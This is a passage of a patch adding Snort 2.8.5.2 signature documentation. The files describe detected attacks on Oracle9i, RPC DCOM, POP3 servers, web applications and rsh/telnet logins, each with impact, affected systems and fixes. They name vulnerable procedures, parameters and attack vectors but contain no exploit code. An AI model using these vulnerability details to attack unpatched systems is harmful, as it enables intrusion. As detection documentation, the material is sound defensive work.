+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2080.txt
+++ snort-2.8.5.2/doc/signatures/2080.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2080
+
+--
+Summary:
+number for the rpc service lockd.
+
+--
+Impact:
+Intelligence gathering
+
+--
+Detailed Information:
+This may be an attacker probing for vulnerable versions of rpc services.
+In this case, the rpc service lockd.
+
+If a user connects to port 1024 being used by the rpc service lockd, a 
+denial of service can be issued by supplying random input to the 
+service.
+
+--
+Affected Systems:
+	Debian Linux 2.1, 2.2 pre potato and 2.2
+	MandrakeSoft Linux Mandrake 6.0, 6.1 and 7.0
+	RedHat Linux 6.0 sparc, i386 and alpha
+	RedHat Linux 6.1 sparc, i386 and alpha
+	RedHat Linux 6.2 sparc, i386 and alpha
+
+--
+Attack Scenarios:
+The attacker needs to send random data to port 1024 used by nlockmgr.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate patches for the system.
+
+Upgrade the software to the latest non vulnerable version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1372
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0508
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2250.txt
+++ snort-2.8.5.2/doc/signatures/2250.txt
@@ -0,0 +1,57 @@
+Rule:  
+
+--
+Sid:
+2250
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Magic Winmail Server.
+
+--
+Impact:
+Serious. Possible arbitrary code execution.
+
+--
+Detailed Information:
+The Magic Winmail Server contains a programming error such that 
+exploitation of the USER POP3 command is possible by supplying malicious
+code via the USER command.
+
+--
+Affected Systems:
+	AMAX Information Technologies Inc. Magic Winmail Server 2.3
+
+--
+Attack Scenarios:
+The attacker can connect to the POP3 server and use the USER command to 
+supply the necessary code or the attacker can use the available exploit 
+code.
+
+--
+Ease of Attack:
+Simple. Exploit code is available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3245.txt
+++ snort-2.8.5.2/doc/signatures/3245.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3245
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1076.txt
+++ snort-2.8.5.2/doc/signatures/1076.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1076
+
+--
+Summary:
+This event is generated when an attempt is made to access the repost.asp file.
+
+--
+Impact:
+File upload.  This attack may permit an attacker to upload files to the /users directory on the vulnerable server. 
+
+--
+Detailed Information:
+Microsoft Site Server is software for Windows NT servers that allows users to publish, find, and share information.  A vulnerability exists when accessing the repost.asp file, allowing an attacker to upload files to the /users directory of the vulnerable server if access permissions have not been restricted.
+
+--
+Affected Systems:
+Microsoft Site Server 2.0.
+
+--
+Attack Scenarios:
+An attacker can access the respost.asp file, permitting the unauthorized upload of files to the /users directory.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Restrict access permissions on the /users directory.
+
+--
+Contributors:
+Original rute writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=10372
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/602.txt
+++ snort-2.8.5.2/doc/signatures/602.txt
@@ -0,0 +1,57 @@
+Rule: 
+
+--
+Sid: 602
+
+--
+Summary: 
+This event is generated when an attempt to login using the "bin" account is made.
+
+--
+Impact: 
+An attacker may have gained the ability to initiate a remote interactive session on the server.
+
+--
+Detailed Information: 
+This event is generated when a connection using the "bin" account via  "rsh" is attempted. 
+
+This activity is indicative of attempts to abuse hosts using a default configuration. 
+
+Some UNIX systems used to ship with "bin" account enabled and no password required. Similarly, the "rshd" service was also enabled. This allowed an attacker to connect to the machine and establish an interactive session using the "bin" account.
+
+--
+Attack Scenarios: 
+An attacker finds a machine with default account "bin" and "rshd" service running and connects to it, then escalates his privileges to "root"
+
+--
+Ease of Attack: 
+Simple, no exploit software required
+
+--
+False Positives: 
+None Known
+
+--
+False Negatives: 
+If a local username is not the same as the remote one ("bin"), the rule will not generate an event.
+
+--
+Corrective Action: 
+Investigate logs on the target host for further details and more signs of suspicious activity
+
+Use ssh for remote access instead of rlogin.
+
+--
+Contributors: 
+Original rule by Max Vision <vision@whitehats.com> modified from a signature written by Ron Gula
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+http://www.whitehats.com/info/IDS384
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0651
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3223.txt
+++ snort-2.8.5.2/doc/signatures/3223.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3223
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/677.txt
+++ snort-2.8.5.2/doc/signatures/677.txt
@@ -0,0 +1,76 @@
+Rule:  
+
+--
+Sid:
+677
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database
+server that may result in a serious compromise of the data stored on
+that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an
+SQL database that may result in a serious compromise of all data stored
+on that system.
+
+Such commands may be used to gain access to a system with the privileges
+of an administrator, delete data, add data, add users, delete users,
+return sensitive information or gain intelligence on the server software
+for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the
+result of spawning a remote shell as a consequence of a successful
+network exploit. 
+
+--
+
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and
+issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the
+protected network.
+
+Ensure that this event was not generated by a legitimate session then
+investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Microsoft MSDN:
+http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_sp_pa-pz_5x44.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2820.txt
+++ snort-2.8.5.2/doc/signatures/2820.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2820
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_columns_from_flavor
+. This procedure is included in
+sys.dbms_repcat_fla_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000106.txt
+++ snort-2.8.5.2/doc/signatures/100000106.txt
@@ -0,0 +1,90 @@
+Rule: 
+
+--
+Sid: 
+100000106
+
+-- 
+Summary: 
+This event is generated when an SQL injection attempt is made against the 
+Microsoft BizTalk Server DTA Interface.
+
+-- 
+
+Impact: 
+Attackers may retreive or modify sensitive in formation stored in the affected 
+database. Additionally, attackers may use the database's functionality to 
+execute arbitrary commands on the system with the priviliges of the user 
+running the script, typically Administrator.
+
+--
+Detailed Information:
+This rule looks specifically for attacks against the rawdocdata.asp module of 
+the DTA Interface which contain the string "exec", which is required to run 
+commands on the host system. Thus, this rule does not detect generic SQL 
+injection attempts, only command execution attempts.
+
+--
+Affected Systems:
+Microsoft BizTalk Server 2000 Developer Edition SP2
+Microsoft BizTalk Server 2000 Developer Edition SP1a
+Microsoft BizTalk Server 2000 Developer Edition
+Microsoft BizTalk Server 2000 Enterprise Edition SP2
+Microsoft BizTalk Server 2000 Enterprise Edition SP1a
+Microsoft BizTalk Server 2000 Enterprise Edition
+Microsoft BizTalk Server 2000 Standard Edition SP2
+Microsoft BizTalk Server 2000 Standard Edition SP1a
+Microsoft BizTalk Server 2000 Standard Edition
+Microsoft BizTalk Server 2002 Developer Edition
+Microsoft BizTalk Server 2002 Enterprise Edition
+
+--
+
+Attack Scenarios: 
+A web browser or a script may be used to exploit this vulnerability.
+
+-- 
+
+Ease of Attack: 
+Simple, as example attacks that can be used with a web browser are publicly 
+available.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Patches which correct this problem are available from Microsoft.com.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+Microsoft BizTalk Server 2000 Enterprise Edition SP2: 
+http://microsoft.com/downloads/details.aspx?FamilyId=001E93E4-0E6E-4289-AEFE-916
+1D2E5AF97&displaylang=en
+Microsoft BizTalk Server 2000 Developer Edition SP2: 
+http://microsoft.com/downloads/details.aspx?FamilyId=001E93E4-0E6E-4289-AEFE-916
+1D2E5AF97&displaylang=en
+Microsoft BizTalk Server 2000 Standard Edition SP2: 
+http://microsoft.com/downloads/details.aspx?FamilyId=001E93E4-0E6E-4289-AEFE-916
+1D2E5AF97&displaylang=en
+
+Microsoft BizTalk Server 2002 Enterprise Edition: 
+http://microsoft.com/downloads/details.aspx?FamilyId=A05344FE-2622-4887-AA45-3DE
+7C4ED3C75&displaylang=en
+
+Microsoft BizTalk Server 2002 Developer Edition: 
+http://microsoft.com/downloads/details.aspx?FamilyId=A05344FE-2622-4887-AA45-3DE
+7C4ED3C75&displaylang=en
+
+-- 
--- snort-2.8.5.2.orig/doc/signatures/2666.txt
+++ snort-2.8.5.2/doc/signatures/2666.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2664
+
+--
+Summary:
+This event is generated when a remote attacker attempts to exploit a 
+format string vulnerability against a POP server.
+
+--
+Impact:
+Serious. A successful format string attack could result in the
+execution of arbitrary code with the same privileges as the user running
+the POP daemon.
+
+--
+Detailed Information:
+Some versions of the Courier POP daemon are vulnerable to format string
+exploits prior to and during authentication to the POP server.  A
+successful exploit attempt could result in the remote attacker gaining
+unauthorized root access to a vulnerable system.
+
+--
+Affected Systems:
+	Courier IMAP/POP server versions 1.6 though 3.0.2
+
+--
+Attack Scenarios:
+A remote attacker could use a publicly available script to exploit the 
+vulnerability an gain control of the target host.
+
+--
+
+Ease of Attack:
+Simple. Exploit code is available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2690.txt
+++ snort-2.8.5.2/doc/signatures/2690.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2690
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure enable_propagation_to_dblink
+. This procedure is included in
+sys.dbms_defer_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000617.txt
+++ snort-2.8.5.2/doc/signatures/100000617.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000617
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "link_sponsored_listing.php" using a remote file being 
+passed as the "admin_template_path" parameter may indicate that an exploitation 
+attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"link_sponsored_listing.php" script used by the "Indexu" application running on 
+a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2894.txt
+++ snort-2.8.5.2/doc/signatures/2894.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2894
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_priority
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000456.txt
+++ snort-2.8.5.2/doc/signatures/100000456.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000456
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "SSPwiz" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "message" parameter in the "index.cfm" script 
+used by the "SSPwiz" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using SSPwiz
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1251.txt
+++ snort-2.8.5.2/doc/signatures/1251.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+1251
+
+--
+
+Summary:
+This event is generated when an unsuccessful telnet login attempt 
+was detected.
+
+--
+
+Impact:
+Serious. Possible unauthorized access.
+
+--
+
+Detailed Information:
+A user tried to log on to a system via telnet, but has been rejected, 
+either due to invalid username, password, or both. This could mean 
+someone is trying to log on without a proper password (if there are 
+multiple unsuccessful logins) or they may have just mistyped the 
+username or the password.
+
+A large number of these events may indicate an attempt to access the 
+system using a brute force method of guessing usernames and passwords.
+
+--
+
+Affected Systems:
+Machines running telnet servers.
+
+--
+
+Attack Scenarios:
+Attacker brute-forces passwords for a known username via a script or 
+application.
+
+--
+
+Ease of Attack:
+Simple.
+
+--
+
+False Positives:
+A user may have mistyped their password.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Check how many invalid attempts occurred, change the password of the 
+user that tried to log in.
+
+--
+
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Chaos <c@aufbix.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000844.txt
+++ snort-2.8.5.2/doc/signatures/100000844.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000844
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Koobi Pro" application running on a webserver. Access to the file "index.php" with SQL commands being passed as the "showtopic" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "showtopic" parameter in the "index.php" script used by the "Koobi Pro" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Koobi Pro
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/450.txt
+++ snort-2.8.5.2/doc/signatures/450.txt
@@ -0,0 +1,52 @@
+Rule:
+
+--
+Sid:
+450
+
+--
+Summary:
+This event is generated when an ICMP "Time Exceeded" message is generated that has an invalid ICMP code.  
+
+--
+Impact:
+Informational.  This may indicate that the ICMP message has been crafted.
+
+--
+Detailed Information:
+An ICMP "Time Exceeded" message is issued when either the maximum number of hops has been exceeded or a timer has expired before all fragments have been received.  The ICMP code value for this message should be 0 or 1.  If a value of greater than 1 for the ICMP code is observed, it may be an indication that the packet was crafted with an invalid value.
+
+--
+Affected Systems:
+This traffic should have no adverse impact.
+
+--
+Attack Scenarios:
+An attacker may craft an ICMP "Time Exceeded" message with an invalid ICMP code.  A single packet itself is not harmful, but the unusual ICMP code may indicate that this packet was abnormally generated.
+
+--
+Ease of Attack:
+Simple. There are many packages available to generate ICMP messages.
+
+--
+False Positives:
+Although rare, it is possible to observe an ICMP "Time Exceeded" message with an ICMP code greater than 1 if it is generated by software that does not conform to standards.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+If a host or device in your network is generating this message, investigate why it does not have a standard ICMP code.
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/584.txt
+++ snort-2.8.5.2/doc/signatures/584.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+584
+
+--
+Summary:
+This event is generated when an attempt is made to probe a host for the
+rusers RPC service.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+The rusers RPC service is used to remotely list all logged in users on a
+machine. This information may be useful to an attacker when targeting a
+remote host.
+
+--
+Affected Systems:
+	All systems running the rusers RPC service
+ 
+--
+Attack Scenarios:
+An attacker runs a vulnerability assessment tool, or the standard Unix
+rusers command.  The attacker may use information gleaned from this to
+better target his attacks.
+
+--
+Ease of Attack:
+Simple. Tools to probe the rusers service come standard with most Unix variants.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the rusers service.
+
+Disallow access to RPC services from hosts external to the protected
+network
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1197.txt
+++ snort-2.8.5.2/doc/signatures/1197.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1197
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2161.txt
+++ snort-2.8.5.2/doc/signatures/2161.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2161
+
+
+--
+Summary:
+This event is generated when a possible outgoing virus is detected. 
+
+--
+Impact:
+Informational event. An virus on an infected host may be attempting to 
+propogate.
+
+--
+Detailed Information:
+This event indicates that an outgoing email message possibly containing 
+a virus has been detected.
+
+This rule generates an event when a filename extension commonly used by 
+viruses is detected.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+This is indicative of a virus infection.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A legitimate attachment to an email may generate this event.
+
+--
